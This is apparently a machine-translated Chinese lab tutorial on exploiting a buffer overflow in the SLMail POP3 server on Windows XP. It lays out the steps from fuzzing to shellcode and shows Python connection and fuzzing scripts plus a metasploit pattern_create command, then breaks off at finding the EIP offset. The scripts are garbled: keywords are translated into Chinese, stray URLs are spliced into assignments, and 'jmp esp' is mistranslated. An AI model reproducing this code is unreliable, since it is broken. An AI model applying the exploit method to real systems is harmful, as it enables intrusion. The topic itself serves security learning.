<强>
写的不好多加指教
强>
准备环境:
<代码>攻机:卡莉2.0 靶机:windows xp, windows2003不能做这个实验,亲测好多次没成功。有兴趣可以试试 软件:SLMail mona.py免疫力调试器 需要软件的可以留言。代码>
总体步骤:
<代码> 1。测试是否发生缓冲区溢出 2. 找到缓冲区溢出的位置的临界点并验证 3.查找系统中固定分配的模块中,哪里有人民币esp,为了后面实现跳转 4. 在2找到的位置处写上3处找到的地址,也就是实现由eip到jmp esp的过程。这个过程设置断点验证是否跳转成功 5. 判断有哪些坏字符,每个服务不一定相同 6. 生成shellcode,并发送。 7. 完成代码>
步骤1。利用python脚本测试连接windows的POP3
<代码>开启windows的POP3服务代码>
<强>使用python脚本测试来连接强>
<代码> ? # !/usr/bin/python 进口套接字? ? s=socket.socket (socket.AF_INET socket.SOCK_STREAM) ?试一试: 吗?打印”发送面纱缓冲……” 吗?s.connect ((10.10.10.19, 110)) 吗?data=https://www.yisu.com/zixun/s.recv (1024) 吗?打印数据 吗?年代。发送(“用户测试\ r \ n”) 吗?data=https://www.yisu.com/zixun/s.recv (1024) 吗?打印数据 吗?年代。发送(“通过测试\ r \ n”) 吗?data=https://www.yisu.com/zixun/s.recv (1024) 吗?打印数据 吗?s.close () 吗?打印“\ nDone !” ?除了: 吗?打印“\ nFailed连接pop3”代码>
<>强运行结果:强>
root@kal:/测试/01 #。py
<代码> ?发送面纱缓冲…… +好的POP3服务器example.com准备& lt; 00005.5584281 @example.com> 邮箱?呃无法锁 完成了! 代码>
说明连接POP3成功.....
步骤2。测试符合是否会发生缓冲区溢出
windows端要用免疫调试器打开slmail服务
打开免疫==比;文件==比;附加==在选择下面的那一行
点右下角的连接,然后开始运行,运行时候,右下角的停顿会变成运行状态
<强>这时运行下面脚本:强>
<代码> # !/usr/bin/python 进口套接字 缓冲=[A] 计数器=100 而len(缓冲)& lt;=50: buffer.append (A *计数器) counter=counter + 200 字符串缓冲区: s=socket.socket (socket.AF_INET socket.SOCK_STREAM) s.connect ((10.10.10.19, 110)) 打印”发送长度% s“% (len (string)) s.recv (1024) 年代。发送(“用户测试”+“\ r \ n”) s.recv (1024) 年代。发送('通过' +字符串+“\ r \ n”) s.recv (1024) s.send(“退出\ r \ n”) s.close() 代码>
运行情况:
当执行到2700时,发现在也不动了,看一下windows状况,右下角已经出现了进,已经停止了,在2600个字符发完之后还能发送,但是到2700发了送完之后就连接不上了,说明缓冲区溢出临界点发生在2600 - 2700年之间。
Step3确定EIP的位置
利用metasploit生成唯一字符串,发送:
root@kal:/测试/开发/pattern_create #/usr/share/metasploit-framework/工具。rb - l 2700